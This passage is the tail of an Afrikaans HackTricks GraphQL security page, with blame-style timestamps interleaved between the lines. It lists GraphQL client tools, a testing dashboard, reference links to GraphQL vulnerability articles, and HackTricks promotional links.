* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI-kliënt
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI-kliënt
2021-04-14 15:16:47 +00:00
2024-02-11 02:07:06 +00:00
### Outomatiese Toetse
2021-05-10 08:52:30 +00:00
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
2021-04-14 15:16:47 +00:00
2024-02-11 02:07:06 +00:00
* Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
2021-04-14 15:16:47 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-04-05 22:24:52 +00:00
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
2023-06-10 14:46:50 +00:00
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
2022-04-05 22:24:52 +00:00
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>